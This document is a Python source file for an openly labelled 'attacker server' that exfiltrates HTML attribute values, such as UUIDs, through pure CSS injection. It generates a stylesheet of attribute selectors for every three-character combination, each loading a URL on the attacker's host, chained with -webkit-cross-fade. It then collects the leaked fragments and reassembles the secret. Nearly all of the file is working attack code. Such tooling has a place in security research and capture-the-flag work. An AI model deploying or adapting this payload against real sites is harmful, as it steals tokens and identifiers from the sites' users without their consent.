server.py

#!/usr/bin/python3

from http.server import BaseHTTPRequestHandler, HTTPServer
from itertools import product
import argparse, logging, math, urllib.parse, re

logger = logging.getLogger(__name__)

def generate_payload(charset: str, element: str = "img", attribute: str = "src", ip: str = "127.0.0.1", port: int = 8000, fragent_len: int = 3) -> str:
    selector = f"{element}[{attribute}"
    selector += "*='{val}']{{--{name}: url('http://"
    selector += f"{ip}:{port}"
    selector += "/?l={name}') }}\n"

    # Generate all possibe 3-char combinations that can occur in a UUID
    char_combinations = set()
    for i in product([c for c in charset], repeat=fragent_len):
        char_combinations.add(''.join(map(str, i)))

    # Generate all CSS selectors and variables
    selectors = []
    variables = set()
    for c in char_combinations:
        var_name = c.replace('-', 'M').replace(' ', 'S')
        selectors.append(selector.format(val=c, name=var_name))
        variables.add(f"var(--{var_name}, var(--d))")

    crossfade_base = f"{element}BB --d: url('http://{ip}:{port}/?l=I');\n"

    tree_depth = math.ceil(math.log2(len(char_combinations)))
    # Generate the crossfade statement
    u, v = variables.pop(), variables.pop()
    crossfade = f"-webkit-cross-fade({u},{v},50%)"

    while len(variables) > 0:
        if len(variables) % 2000 == 0: logger.debug(f"Progress: {(1 - (len(variables) / len(selectors))) * 100:.2f}%")
        u = variables.pop()
        crossfade = f"-webkit-cross-fade({crossfade},{u},50%)"

    # Add braces
    crossfade_base += f"\nbackground-image:{crossfade};BB"
    crossfade_base = crossfade_base.replace('BB', '{', 1)
    crossfade_base = crossfade_base.replace('BB', '}', 1)

    # Build payload
    payload = ""
    for s in selectors:
        payload += s
    payload += crossfade_base
    # Visualize that the payload had been received and read by the useragent
    payload += "\nbody{background-color: red;}"

    return payload

params = dict()

class AttackerServer(BaseHTTPRequestHandler):
    fragments = list()

    def find_matching(self, fragment: str, fragments: list) -> tuple:
        matching_l, matching_r = set(), set()
        f_first, f_last = fragment[:2], fragment[-2:]
        for c in fragments:
            c_first, c_last = c[:2], c[-2:]
            # aBC + BCd
            if c_first == f_last:
                matching_r.add((fragment[:-2] + c, c))
            # BCd + aBC
            elif c_last == f_first:
                matching_l.add((c + fragment[2:], c))

        return matching_l, matching_r

    def assemble(self, init_fragments: list) -> list:
        sub_steps = [init_fragments]

        while any(len(s) > 1 for s in sub_steps):
            fragments = sub_steps.pop(0)
            fail_ctr = 0

            while len(fragments) > 1:
                # impossible to solve
                if fail_ctr > len(fragments) * 2:
                    logger.debug(f"Could not assemble secret from remaining fragments: {fragments}")
                    break

                f = fragments.pop(0)
                # finished
                if len(fragments) == 0:
                    return f

                l_match, r_match = self.find_matching(f, fragments)
                l_len, r_len = len(l_match), len(r_match)
                # pop first elements if not empty
                l = l_len > 0 and l_match.pop()
                r = r_len > 0 and r_match.pop()
                # count number of matches that the left and right fragment have (should ideally be 1)
                # we have at least one match, as they fit with the current fragment
                l_r_count = l and len(self.find_matching(l[1], fragments)[1]) + 1 or 0
                r_l_count = r and len(self.find_matching(r[1], fragments)[0]) + 1 or 0

                # Found left and right matching fragments
                    # Precondition: Right fragment must only have one fitting left fragment
                    # Precondition: Left fragment must only have one fitting right fragment
                if l_len == 1 and r_len == 1 and l_r_count == 1 and r_l_count == 1:
                    # Remove fitting fragments
                    fragments.remove(l[1])
                    fragments.remove(r[1])

                    fragments.append(l[1][:-2] + f + r[1][2:])
                    fail_ctr = 0
                    logger.debug(f"Found double match: '{l[1]}' + '{f}' + '{r[1]}' -> '{l[1][:-2] + f + r[1][2:]}'")
                # Found single match left
                elif r_len == 0 and l_len == 1 and l_r_count == 1:
                    # Remove fitting fragments
                    fragments.remove(l[1])
                    fragments.append(l[0])
                    fail_ctr = 0
                    logger.debug(f"Found single left match: '{l[1]}' + '{f}' -> '{l[0]}'")
                # Found single match right
                elif l_len == 0 and r_len == 1 and r_l_count == 1:
                    # Remove fitting fragments
                    fragments.remove(r[1])
                    fragments.append(r[0])
                    fail_ctr = 0
                    logger.debug(f"Found single right match: '{r[1]}' + '{f}' -> '{r[0]}'")
                # Found duplicate match left (only if all other possibilities are exhausted)
                elif l_len > 1 and fail_ctr > len(fragments):
                    fragments_c = fragments.copy()
                    # Remove fitting fragments
                    fragments.remove(l[1])
                    fragments.append(l[0])
                    logger.debug(f"\tFound duplicate left matches: '{l[1]}' + '{f}' -> '{l[0]}'")
                    # Add other possibilities
                    while len(l_match) > 0:
                        fragments_c = fragments_c.copy()
                        l = l_match.pop()
                        # Remove fitting fragments
                        fragments_c.remove(l[1])
                        fragments_c.append(l[0])
                        sub_steps.append(fragments_c)
                        logger.debug(f"\tFound duplicate left matches: '{l[1]}' + '{f}' -> '{l[0]}'")
                    fail_ctr = 0
                # Found duplicate match right (only if all other possibilities are exhausted)
                elif r_len > 1 and fail_ctr > len(fragments):
                    fragments_c = fragments.copy()
                    # Remove fitting fragments
                    fragments.remove(r[1])
                    fragments.append(r[0])
                    logger.debug(f"Found duplicate right matches: '{r[1]}' + '{f}' -> '{r[0]}'")
                    # Add other possibilities
                    while len(r_match) > 0:
                        fragments_c = fragments_c.copy()
                        r = r_match.pop()
                        # Remove fitting fragments
                        fragments_c.remove(r[1])
                        fragments_c.append(r[0])
                        sub_steps.append(fragments_c)
                        logger.debug(f"\tFound duplicate right matches: '{r[1]}' + '{f}' -> '{r[0]}'")
                    fail_ctr = 0
                else:
                    fail_ctr += 1
                    fragments.append(f)

            if len(fragments) == 1:
                # Check if the fragment matches the pattern
                if params["pattern"] and not re.match(params["pattern"], fragments[0]):
                    logger.debug(f"Fragment '{fragments[0]}' does not match the supplied pattern")
                    continue
                sub_steps.append(fragments)

        return sub_steps

    def add_fragment(self, fragment: str) -> bool:
        # default value
        if fragment == "I": return False

        fragment = fragment.replace('M', '-')
        fragment = fragment.replace('S', ' ')
        logger.debug(f"Received fragment: {fragment}")
        self.fragments.append(fragment)

        # Check if we received all fragments
        if len(self.fragments) == params["secret_len"] - 2:
            logger.debug(f"Reassembling fragments...")
            secrets = self.assemble(self.fragments)
            if len(secrets) == 0:
                logger.error("Could not assemble secret from fragments.")
            elif len(secrets) == 1:
                print(f"Secret is '{secrets.pop()[0]}'")
            else:
                print("Found multiple possible secrets:")
                for s in secrets:
                    print(f"-> '{s.pop()}'")
            return True
        return False

    def do_GET(self):
        # get client ip and url parameters
        client_ip = self.client_address[0]
        url_parameters = urllib.parse.parse_qs(urllib.parse.urlparse(self.path).query)
        path = self.path

        self.handle_request(client_ip, url_parameters, path)

    def do_POST(self):
        # get client ip and post data
        client_ip = self.client_address[0]
        content_length = int(self.headers['Content-Length'])
        post_data = urllib.parse.parse_qs(self.rfile.read(content_length).decode('utf-8'))
        path = self.path

        self.handle_request(client_ip, post_data, path)

    def handle_request(self, client_ip:str, parameters:dict, path:str):
        response = ""
        self.send_response(200)

        allowed_files = {
            "/": ("index.html", "text/html"),
            "/index.html": ("index.html", "text/html"),
        }

        if path in allowed_files:
            response = open(allowed_files[path][0], "r").read()
            # set content type
            self.send_header('Content-type', allowed_files[path][1])
        # client sent fragment of secret
        elif 'l' in parameters:
            should_exit = self.add_fragment(parameters['l'][0])
            self.send_header('Content-type', 'text/plain')
            if should_exit:
                self.end_headers()
                self.wfile.write(response.encode('utf-8'))
                exit(0)
        # client requests malicious payload
        elif path == "/style.css":
            logger.info(f"Start generating payload for {client_ip}")
            response = generate_payload(params["charset"], element=params["element"], attribute=params["attribute"])
            logger.info(f"Payload for {client_ip} generated. Size: {len(response) / 1024:.2f} KB")
            self.send_header('Content-type', 'text/css')
        else:
            self.send_header('Content-type', 'text/plain')

        # respond to client
        self.end_headers()
        self.wfile.write(response.encode('utf-8'))

def run( ip: str, port: int, server_class=HTTPServer, handler_class=AttackerServer):
    server_address = (ip, port)
    httpd = server_class(server_address, handler_class)
    logger.debug('Starting http server...')
    logger.info(f"Listening on http://{ip}:{port}")
    httpd.serve_forever()


if __name__ == "__main__":

    description = '''Start server to exfiltrate UUID:
\tpython3 server.py 0123456789abcdef- 36
Start server to exfiltrate the id-attribute of a div-element:
\tpython3 server.py abcdefg 10 -a id -e div'''

    # Initialize argument parsing
    class CustomFormatter(argparse.ArgumentDefaultsHelpFormatter, argparse.RawDescriptionHelpFormatter): pass
    parser = argparse.ArgumentParser(
        epilog=description,
        formatter_class=CustomFormatter,
        description="Exfiltration server to steal HTML attributes using pure CSS")

    scan_group = parser.add_argument_group('PARAMETERS')
    parser.add_argument("charset", type = str, help="All possible characters that can occur in the secret (e.g. abcdef0123456789-)")
    parser.add_argument("length", type = int, help="Fixed length of the secret")
    parser.add_argument("-a", "--attribute", type = str, default="src", help="Attribute name to exfiltrate (e.g. src, href)")
    parser.add_argument("-e", "--element", type = str, default="img", help="Element, class or id to exfiltrate (e.g. img, div, #id, .class)")
    parser.add_argument("-v", "--verbose",  action='store_true', help="Increase output verbosity")
    parser.add_argument("--pattern", type = str, help="Regex pattern the secret must match (e.g. ^[a-f0-9]{8}-[a-f0-9]{4}-[a-f0-9]{4}-[a-f0-9]{4}-[a-f0-9]{12}$)")

    general_group = parser.add_argument_group("NETWORK")
    parser.add_argument("-p", "--port", type = int, default=8000, help="Port to listen on")
    parser.add_argument("-l", "--listen", type = str, default="127.0.0.1", help="IP to listen on")

    args = parser.parse_args()

    # Initialize logging
    logger.setLevel(args.verbose and logging.DEBUG or logging.INFO)
    formatter = logging.Formatter('%(levelname)s: [SERVER] %(message)s')
    handler = logging.StreamHandler()
    handler.setFormatter(formatter)
    logger.addHandler(handler)

    # set charset and secret length
    params = {
        "charset": args.charset,
        "secret_len": args.length,
        "pattern": args.pattern,
        "attribute": args.attribute,
        "element": args.element,
        "ip": args.listen,
        "port": args.port
    }

    run(args.listen, args.port)